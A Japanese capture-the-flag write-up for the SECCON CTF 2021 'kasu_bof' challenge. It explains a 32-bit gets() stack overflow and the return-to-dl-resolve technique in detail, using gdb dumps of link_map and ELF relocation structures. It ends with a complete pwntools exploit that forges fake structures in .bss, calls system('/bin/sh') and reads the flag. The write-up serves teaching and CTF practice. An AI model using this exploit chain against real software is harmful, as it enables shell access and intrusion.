SECCON CTF 2021 - kasu_bof Writeup

問題

問題文

## Question
Do you understand return-to-dl-resolve attack on 32-bit?

配布ファイル

  • main.c
  • chall
main.c
    #include <stdio.h>

    int main(void) {
      char buf[0x80];
      gets(buf);
      return 0;
    }
chall
mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ file chall
chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cb260735eeb00c173f7f530e9fae9ee3704e6c6f, for GNU/Linux 3.2.0, not stripped

mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ checksec chall
[*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

実行ファイルに file コマンドと checksec を用いると、以下の特徴があることがわかる。

  • x86
  • SSP (Stack Smashing Protection) 無効
  • Partial RELRO

方針

配布されたソースコード ( main.c )を見てみると、以下の特徴がある。

  • char 型の配列 buf のサイズが 0x80 バイト
  • gets を使用しているため、 \n (0x0a) が入力されるまで配列 buf に任意の文字を入力可能

このことから、配布されたプログラムには簡単なスタックバッファオーバフローの脆弱性があることがわかる。

また、問題文に return to dl resolve という攻撃方法を使用すれば良い旨のコメントがあるため、 スタックバッファオーバフローを利用して、 return to dl resolve を用いて shell を起動できるとよさそうである。

よって、この問題以下の方針で解いていく。

  1. return to dl resolve を利用するため、 .plt セクションからライブラリ関数のアドレスを解決するまでの流れを調査
  2. 1.を踏まえて、 return to dl resolve を利用し、 shell を起動

1. return to dl resolve (ret2dl resolve)

return to dl resolveは、ライブラリ関数のアドレスを動的に解決する際に呼び出される関数である _dl_runtime_resolve を利用し、任意のライブラリ関数を呼び出す攻撃手法である。

この攻撃の流れは以下のようになる。

  1. 任意の関数(ここでは system("/bin/sh") )を呼ぶため、 _dl_runtime_resolve に読み込ませる偽の Elf32_Rel 構造体と Elf32_Sym 構造体のオブジェクト、および NULL終端文字列 "system""/bin/sh" を書き込み可能な領域に用意
  2. _dl_runtime_resolve は、引数の reloc_arg を元に Elf32_Rel 構造体を特定するため、 reloc_arg を1.で用意した Elf32_Rel 構造体のオブジェクトを指すように指定
  3. .plt の先頭にジャンプすると、 _dl_runtime_resolve が呼ばれ、1.で用意した構造体のオブジェクトを元に system のアドレスが解決され、 system("/bin/sh") が実行

そこで、以下では、 .plt セクションからのアドレス解決の流れを説明し、どのようにして偽の構造体を作成すればよいかについて説明する。

main から gets が呼び出される全体の流れ

問題のプログラムをディスアセンブルし、どのようにして gets が呼び出されているのか確認してみる。

08049180 <main>:
8049180:       55                      push   ebp
8049181:       89 e5                   mov    ebp,esp
8049183:       81 ec 98 00 00 00       sub    esp,0x98
8049189:       8d 85 7c ff ff ff       lea    eax,[ebp-0x84]
804918f:       c7 45 fc 00 00 00 00    mov    DWORD PTR [ebp-0x4],0x0
8049196:       89 04 24                mov    DWORD PTR [esp],eax
8049199:       e8 a2 fe ff ff          call   8049040 <gets@plt>
804919e:       31 c9                   xor    ecx,ecx
80491a0:       89 85 78 ff ff ff       mov    DWORD PTR [ebp-0x88],eax
80491a6:       89 c8                   mov    eax,ecx
80491a8:       81 c4 98 00 00 00       add    esp,0x98
80491ae:       5d                      pop    ebp
80491af:       c3                      ret

ディスアセンブルした main を見てみると、 0x8049199 のアドレスにおいて、 gets@plt である 0x8049040 にジャンプしている。 gets@plt は、 .plt セクションに存在するため、 .plt セクションもディスアセンブルしてみる。

08049040 <gets@plt>:
8049040:       ff 25 0c c0 04 08       jmp    DWORD PTR ds:0x804c00c
8049046:       ...

先程呼ばれた gets@plt を確認してみると、 まず jmp DWORD PTR ds:0x804c00c0x804c00c 番地に格納されたアドレスへジャンプしている。 この 0x804c00c のアドレスは、GOTと呼ばれる領域にあり、最終的に解決された gets のアドレスが格納される。

そこで、1回目の gets@plt の呼び出し時に、GOTには何が格納されているのか確認してみる。

gef➤  hexdump  dword 0x804c00c
0x0804c00c│+0x0000   <gets@got.plt+0000> 0x08049046   
0x0804c010│+0x0004   ...

すると、 0x804c00c には、次の命令のアドレス ( 0x8049046 )がGOTに格納されていることがわかる。 このため、引き続き 0x8049046 からの命令読んでいく。

08049030 <.plt>:
8049030:       ff 35 04 c0 04 08       push   DWORD PTR ds:0x804c004
8049036:       ff 25 08 c0 04 08       jmp    DWORD PTR ds:0x804c008

次の命令 push 0x0 では、スタックに 0x0 を積み、その後 jmp 8049030 <.plt>.plt セクションの先頭にジャンプしている。

.plt の先頭の命令は、 push DWORD PTR ds:0x804c004 となっており、 0x804c004 に格納されている値をスタックに積む。 そして、次の命令 jmp DWORD PTR ds:0x804c0080x804c008 に格納されているアドレスへジャンプする。

ここで、 0x804c004 および 0x804c008 番地には何が格納されているのか調べてみる。

gef➤  hexdump dword 0x804c004
0x0804c004│+0x0000   <_GLOBAL_OFFSET_TABLE_+0004> 0xf7ffd990   
0x0804c008│+0x0004   <_GLOBAL_OFFSET_TABLE_+0008> 0xf7fe7ac0

すると、これらのアドレスはGOT先頭付近のアドレスであり、それぞれ 0xf7ffd9900xf7fe7ac0 の値が格納されていることがわかる。

まとめると、 .plt の先頭の命令では、スタックに 0xf7ffd990 を積み、 0xf7fe7ac0 番地へジャンプしている。 そして、 0xf7fe7ac0 へジャンプ後、 gets のアドレスが解決され、 gets が実行される。 また、二回目以降の呼び出しのために、解決されたアドレスは、GOTへ格納される。

以上が main から gets が実行されるまでの流れであり、 return to dl resolve をするために必要となる .plt セクション以降の流れについて以降では詳しく見ていく。

.plt セクションからアドレス解決の流れ

さて、 main から gets が呼び出される全体像が掴めたところで、最後にジャンプしたアドレス 0xf7fe7ac0 から先を追ってみる。

ジャンプ先の 0xf7fe7ac0_dl_runtime_resolve となっており、この関数により gets のアドレスが解決される。 _dl_runtime_resolve は引数として link_map 構造体と、後述する Elf32_Rel 構造体へのオフセットを示す reloc_arg という2つの値を取る。

そこで、ここから先では、 _dl_runtime_resolve を呼び出す際にスタックに積まれた 0xf7ffd990_dl_runtime_resolve の第一引数である link_map 構造体のアドレス、 0x0 を第二引数である reloc_arg として扱う。

それでは、次にライブラリ関数のシンボルの解決をする際に必要な情報を含んでいるそれぞれのセクションについて調べていく。

.dynamic セクション

.dynamic セクションは、 .rel.plt.dynsym , .dynstr セクションなどのアドレス情報を保持しているセクションである。

このため、ライブラリ関数のシンボルを解決をする際は、 .dynamic セクションを最初に参照し、シンボル解決に必要な情報を含むセクションが配置されているアドレスを取得する。

.dynamic セクションは、 Elf32_Dyn 構造体のオブジェクトが連続して配置されている。

そこで、 Elf32_Dyn 構造体の定義をgdbで参照してみる。

gdbから、構造体の定義を得るために、libcにおけるデバッグ情報を取得しておく。

$ sudo apt install libc6-dbg libc6-dbg:i386
gef➤  break main
gef➤  run
gef➤  info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":

File ../elf/elf.h:
838:    typedef struct {...} Elf32_Dyn;gef➤  info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":

File ../elf/elf.h:
838:    typedef struct {...} Elf32_Dyn;
gef➤  ptype /o Elf32_Dyn
type = struct {
/*    0      |     4 */    Elf32_Sword d_tag;
/*    4      |     4 */    union {
/*                 4 */        Elf32_Word d_val;
/*                 4 */        Elf32_Addr d_ptr;

                            /* total size (bytes):    4 */
                        } d_un;

                        /* total size (bytes):    8 */
                      }

Elf32_Dyn 構造体は、 それぞれの構造体がどのセクションの何の情報を持つのかを表す識別子である d_tag と、 d_tag に対応した値を union 型として持つ。

ここで、 .dynamic セクションを参照するため、このセクションそのもののアドレスを得るためには、 link_map 構造体の l_info フィールドを参照する必要がある。 各セクションの情報が格納されている l_info において、インデックスは、対応した d_tag により参照される。

  • d_tagに代入されうる値の一覧

    • https://elixir.bootlin.com/glibc/glibc-2.36/source/elf/elf.h#L862

      /* Legal values for d_tag (dynamic entry type).  */
      ...
      #define DT_STRTAB	5		/* Address of string table */
      #define DT_SYMTAB	6		/* Address of symbol table */
      ...
      #define DT_REL	17		/* Address of Rel relocs */
      ...
      #define DT_JMPREL	23		/* Address of PLT relocs */
      ...

そこで、次に link_map 構造体の構造と、 .dynamic セクションそのもののアドレスを解決する流れを見ていく。

link_map 構造体

link_map 構造体は、ELFファイルと実際にマッピングされたアドレスの差分や各セクションのアドレス、再配置情報を保持する構造体であり、ライブラリ関数のシンボルを解決する際に参照される。

それでは、 link_map 構造体の構造を知るために、gdbを用いて定義を参照してみる。

gef➤  info types link_map
All types matching regular expression "link_map":

File ../elf/link.h:
84:	struct link_map_public;

File ../include/link.h:
91:	struct link_map;
271:	struct link_map_reldeps;

File ../sysdeps/x86/linkmap.h:
10:	struct link_map_machine;
gef➤  ptype /o struct link_map
/* offset    |  size */  type = struct link_map {
/*    0      |     4 */    Elf32_Addr l_addr;
/*    4      |     4 */    char *l_name;
/*    8      |     4 */    Elf32_Dyn *l_ld;
/*   12      |     4 */    struct link_map *l_next;
/*   16      |     4 */    struct link_map *l_prev;
/*   20      |     4 */    struct link_map *l_real;
/*   24      |     4 */    Lmid_t l_ns;
/*   28      |     4 */    struct libname_list *l_libname;
/*   32      |   308 */    Elf32_Dyn *l_info[77];
/*  340      |     4 */    const Elf32_Phdr *l_phdr;
...
  • ソースコードの定義はここ

    return to dl resolve において、 link_map 構造体で offset が32の位置に保持されている l_info フィールドを利用する。 l_info は、各セクションへのアドレスを保持している。

    例えば、 .dynamic セクションのアドレスを参照したい場合、 d_tagDT_JMPRELElf32_Dyn 構造体を参照すればよいため、 l_info[23] とすることで参照することができる。

ここで、実際にgdbを用いて link_map 構造体から .dynamic セクションのアドレスを解決してみる。

_dl_runtime_resolve の第一引数である 0xf7ffd990link_map 構造体のアドレスであるため、 0xf7ffd990link_map 構造体のアドレスとし、表示する。

gef➤  set $link_map = (struct link_map*) 0xf7ffd990
gef➤  print *$link_map.l_info[23]
$5 = {
d_tag = 0x17,
d_un = {
 d_val = 0x80482d8,
 d_ptr = 0x80482d8
}
}

すると link_map 構造体のそれぞれのメンバの値が確認できる。 例えば、 dynamic セクションのアドレス情報は、 l_info[23] を参照することにより得ることができる。 このため、これを表示してみると、 d_ptr には 0x80482d8 が格納されており、 .dynamic セクションのアドレスは 0x80482d8 だということがわかる。

それでは、次にライブラリ関数のシンボルの解決に必要な他のセクションの情報を参照していく。

.rel.plt セクション

rel.plt セクションは、解決したアドレスを格納するGOTのアドレスとシンボルの情報を得るために必要な情報を持つ。

rel.plt セクションは、 Elf32_Rel 構造体の配列となっており、 Elf32_Rel 構造体の定義は以下のようになっている。

gef➤  info types Elf32_Rel
All types matching regular expression "Elf32_Rel":

File ../elf/elf.h:
638:    typedef struct {...} Elf32_Rel;
658:    typedef struct {...} Elf32_Rela;
gef➤  ptype /o Elf32_Rel
type = struct {
/*    0      |     4 */    Elf32_Addr r_offset;
/*    4      |     4 */    Elf32_Word r_info;

                         /* total size (bytes):    8 */
                       }
  • ソースコード

    .dynamic セクションから取得した .rel.plt のアドレス先をgdbでダンプしてみる。 ここで、 _dl_runtime_resolve の第二引数である reloc_arg は、 .rel.plt セクションの先頭アドレスから、参照する Elf32_Rel 構造体までのオフセットとなっている。

gef➤  set $reloc_arg = 0x0
gef➤  set $reloc = (Elf32_Rel *)($link_map.l_info[23].d_un.d_ptr + $reloc_arg)
gef➤  print *reloc
$11 = {
r_offset = 0x804c00c,
r_info = 0x107
}

ここで、 r_offset はライブラリ関数のアドレスを解決後に、そのアドレスを格納するGOT領域のエントリとなる。 このため、 gets のアドレスが解決されると、 0x804c00c にそのアドレスが格納されることになる。

r_info は、その下位8bitと残りの上位24bitそれぞれに、次のような値を保持する。 r_info を 8 byte 右シフトすることにより、 .dynsym のインデックスを取得することができる。

/* How to extract and insert information held in the r_info field.  */

#define ELF32_R_SYM(val)		((val) >> 8)
#define ELF32_R_TYPE(val)		((val) & 0xff)
#define ELF32_R_INFO(sym, type)	(((sym) << 8) + ((type) & 0xff))
.dynsym セクション

.dynsym セクションは、アドレス解決する関数のシンボルのサイズやオフセットなどの情報を持つ。

また、 .dynsym セクションは、 Elf32_Sym 構造体の配列となっている。

Elf32_Sym 構造体をgdbで参照してみる。

gef➤  info types Elf32_Sym
All types matching regular expression "Elf32_Sym":

File ../elf/elf.h:
527:    typedef struct {...} Elf32_Sym;
gef➤  ptype /o Elf32_Sym
type = struct {
/*    0      |     4 */    Elf32_Word st_name;
/*    4      |     4 */    Elf32_Addr st_value;
/*    8      |     4 */    Elf32_Word st_size;
/*   12      |     1 */    unsigned char st_info;
/*   13      |     1 */    unsigned char st_other;
/*   14      |     2 */    Elf32_Section st_shndx;

                      /* total size (bytes):   16 */
                    }

ここで、 st_name は、実際にシンボルが置かれている .dynstr セクションのオフセットを指している。 そこで、 r_info からインデックスを計算し、実際に Elf32_Sym のアドレスを特定してみる。

gef➤  set $symtab = (Elf32_Sym *)($link_map.l_info[6].d_un.d_ptr)
gef➤  set $sym = $symtab[$reloc.r_info>>8]
gef➤  print $sym
$13 = {
st_name = 0x1a,
st_value = 0x0,
st_size = 0x0,
st_info = 0x12,
st_other = 0x0,
st_shndx = 0x0
}
.dynstr セクション

st_name のオフセットを .dynstr セクションのアドレスに足し合わせたアドレスが、シンボルを指すアドレスとなっている。

gef➤  set $strtab = (char *)($link_map.l_info[5].d_un.d_ptr)
gef➤  set $gets_symbol = $strtab + $sym.st_name
gef➤  print $gets_symbol
$15 = 0x8048276 "gets"

これにより、 link_map 構造体から gets のシンボルが解決されるまでの流れを把握することができた。

そこで、次にこの流れを踏まえた上で、 system("/bin/sh") 呼び出すためのSolverを作成していく。

2. Solverの作成

Solverの準備

上記の流れを図にすると、それぞれのセクションと構造体とシンボルの関係は以下のようになる。

        .rel.plt                         .dynsym                                           .dynstr                                    
            |                                |                                                 |
            |                                |                                                 |
reloc_arg---+   reloc_arg + .rel.plt         |                                                 |
            |                                |                                                 |
            +-->|-----------+----------|     |                                                 |
                | Elf32_Rel | r_offset |     |                                                 |
                |           | r_info   |-----+  ((r_info>>8) + .dynsym)*sizeof(Elf32_Sym)      |
                |-----------+----------|     |                                                 |
                                             |                                                 |
                                             +->|-----------+---------------------------|      |
                                                | Elf32_Sym | st_name                   |------+   st_name + .dynstr
                                                |           | st_value                  |      |
                                                |           | st_size                   |      |
                                                |           | st_info st_other st_shndx |      |
                                                |-----------+---------------------------|      |
                                                                                               |
                                                                                               +-->|-----------+--------|
                                                                                                   | symbol    | 'gets' |
                                                                                                   |-----------+--------|

ここで、 reloc_arg にはスタックバッファオーバフローを利用して任意の値を指定することが可能なため、 .rel.plt の値から偽の Elf32_Rel 構造体を配置したアドレスまでのオフセットを設定する。

  reloc_arg = fake_elf32_rel_addr - rel

また、偽の Elf32_Rel 構造体では、 r_info を 8 bitだけ右シフトした値を .dynsym を基準とした偽の Elf32_Sym 構造体へのインデックスとして使用する。 このため、事前にインデックスを計算し、 Elf32_Rel 構造体に格納しておく。 このとき、 r_info の下3bitが 0b111 (0x7) である必要があるため、最後に 7 を or することで下3bitに1を立てている。

r_offset は、解決されたアドレスが格納されるアドレスであり、通常はGOTの対応するエントリを指している。 今回は特に関係ないものの、 gets の GOTエントリを指定しておく。

  r_offset = gets_got
  r_info   = ((fake_elf32_sym_addr - dynsym)//0x10)<<8 | 7

Elf32_Sym 構造体の st_name は、 .dynstr の値から文字列 "system\x00" のアドレスまでのオフセットを設定する。 このため、事前にオフセットの値を計算し、 Elf32_Sym 構造体に格納しておく。

st_info は、グローバル関数であることを指す 0x12 を設定しておく必要があるため、設定しておく。

  st_name = system_symbol_addr - dynstr
  st_value = 0x0
  st_size = 0x0
  st_info = 0x12
  st_other = 0x0
  st_shndx = 0x0
.bss 領域への作成した構造体やシンボルの格納

.bss 領域には、以下のように作成した Elf32_Rel 構造体と Elf32_Sym 構造体、 "system" のシンボル、および "/bin/sh" の文字列を格納する。

|-----------+----------.bss-------------+---------|
| Elf32_Rel | r_offset                  | 8 byte  |
|           | r_info                    |         |
|-----------+---------------------------+---------|
|           |                           | 8 byte  |
|           |                           | (align) |
|-----------+---------------------------+---------|
| Elf32_Sym | st_name                   | 16 byte |
|           | st_value                  |         |
|           | st_size                   |         |
|           | st_info st_other st_shndx |         |
|-----------+---------------------------+---------|
|           |                           | 4 byte  |
|-----------+---------------------------+---------|
| symbol    | 'system'                  | 4 byte  |
|-----------+---------------------------+---------|
|           |                           | 4 byte  |
|-----------+---------------------------+---------|
| argment   | '/bin/sh'                 |  4byte  |
|-----------+---------------------------+---------|
|           |                           |         |

このとき、 Elf32_Sym 構造体は、 .dynsym セクションのアドレスから、 0x10 バイトの間隔で配置されなければならないため( Elf32_Sym 構造体のサイズが 0x10 byteのため)、 必要なバイト数だけalignしている。

Solverを書くときは、事前に .bss のどのアドレスがどの構造体やシンボルに対応するか計算しておき、ROPで gets の引数として指定しておき、ROPチェインが発火後に、それぞれの構造体やシンボルを書き込んでいく。

  fake_elf32_rel_addr = bss

  fake_elf32_sym_addr = fake_elf32_rel_addr + 0x10

  system_symbol_addr = fake_elf32_sym_addr + 0x14

  sh_string_addr = system_symbol_addr + 0x1c
ROPチェインの作成

あとは、用意した偽の構造体やシンボルを .bss 領域内に格納できるように、複数回 gets を呼び出す必要がある。

そこで、 それぞれ計算しておいた領域に構造体を引数とし、 gets@plt にジャンプするROPを組む。 x86のROPは、参考文献に挙げたセキュリティコンテストチャレンジブックが参考になる。

 # padding
 buf = b'A'*0x84                 # fill stack
 buf += p32(0xdeadbeaf)          # saved_ebp

 # gets(fake_elf32_rel_addr)
 buf += p32(gets_plt)            # main return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(fake_elf32_rel_addr) # gets arg

 # gets(fake_elf32_sym_addr)
 buf += p32(gets_plt)            # pop ret return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(fake_elf32_sym_addr) # gets arg

 # gets(system_symbol_addr)
 buf += p32(gets_plt)            # pop ret return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(system_symbol_addr)  # gets arg

 # gets(sh_string_addr)
 buf += p32(gets_plt)            # pop ret return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(sh_string_addr)      # gets arg

それぞれの構造体とシンボルの書き込みを行うROPを組んだ後、偽の構造体を元にアドレスを解決させるため、 .plt セクションの先頭にジャンプする。 このとき、 system の引数として "/bin/sh" を取れるように、 "/bin/sh" が格納されたアドレスをスタックに積んでおく。

 # system('/bin/sh')
 buf += p32(plt)                 # pop ret return addr
 buf += p32(reloc_arg)           # reloc arg
 buf += p32(0xdeadbeef)          # system return addr
 buf += p32(sh_string_addr)      # system arg

Solver

from pwn import *

filename = './chall'
chall = ELF(filename)

# docker-compose up
# conn = remote('localhost', 9001)
conn = process(filename)

plt = chall.get_section_by_name('.plt').header.sh_addr
bss = chall.get_section_by_name('.bss').header.sh_addr
rel = chall.get_section_by_name('.rel.plt').header.sh_addr
dynsym = chall.get_section_by_name('.dynsym').header.sh_addr
dynstr = chall.get_section_by_name('.dynstr').header.sh_addr
gets_got = chall.got['gets']
gets_plt = chall.plt['gets']

# 0x08049022: pop ebx; ret;
pop_ret = 0x08049022

fake_elf32_rel_addr = bss

fake_elf32_sym_addr = fake_elf32_rel_addr + 0x10

system_symbol_addr = fake_elf32_sym_addr + 0x14

sh_symbol_addr = system_symbol_addr + 0x1c

# calc index of Elf32_Rel from .rel.plt
reloc_arg = fake_elf32_rel_addr - rel

# padding
buf = b'A'*0x84                  # fill stack
buf += p32(0xdeadbeaf)           # saved_ebp

# gets(fake_elf32_rel_addr)
buf += p32(gets_plt)             # main return addr
buf += p32(pop_ret)              # gets return addr
buf += p32(fake_elf32_rel_addr)  # gets arg

# gets(fake_elf32_sym_addr)
buf += p32(gets_plt)             # pop ret return addr
buf += p32(pop_ret)              # gets return addr
buf += p32(fake_elf32_sym_addr)  # gets arg

# gets(system_symbol_addr)
buf += p32(gets_plt)             # pop ret return addr
buf += p32(pop_ret)              # gets return addr
buf += p32(system_symbol_addr)   # gets arg

# gets(sh_symbol_addr)
buf += p32(gets_plt)             # pop ret return addr
buf += p32(pop_ret)              # gets return addr
buf += p32(sh_symbol_addr)       # gets arg

# system('/bin/sh')
buf += p32(plt)                  # pop ret return addr
buf += p32(reloc_arg)            # reloc arg
buf += p32(0xdeadbeef)           # system retrun addr
buf += p32(sh_symbol_addr)       # system arg

conn.sendline(buf)

# create Elf32_Rel
r_offset = gets_got
r_info   = ((fake_elf32_sym_addr - dynsym)//0x10)<<8 | 7

fake_elf32_rel = p32(r_offset)
fake_elf32_rel += p32(r_info)

conn.sendline(fake_elf32_rel)

# create Elf32_Sym
st_name = system_symbol_addr - dynstr
st_value = 0x0
st_size = 0x0
st_info = 0x12
st_other = 0x0
st_shndx = 0x0

fake_elf32_sym = p32(st_name)
fake_elf32_sym += p32(st_value)
fake_elf32_sym += p32(st_size)
fake_elf32_sym += p8(st_info)
fake_elf32_sym += p8(st_other)
fake_elf32_sym += p16(st_shndx)

conn.sendline(fake_elf32_sym)

# create system symbol
conn.sendline(b'system')

# create sh symbol
conn.sendline(b'/bin/sh')

conn.interactive()
実行結果
mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ python solve.py 
[*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9001: Done
[*] Switching to interactive mode
$ ls
chall
flag-4f8e964cf95b989f6def1afdfd0e91b7.txt
$ cat flag*
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}

参考

created 2022/11/11
updated 2023/2/28

Team Enu

Team EnuのWriteupや活動の紹介を掲載しています。


By siva (https://twitter.com/mc4nf), 2023-02-28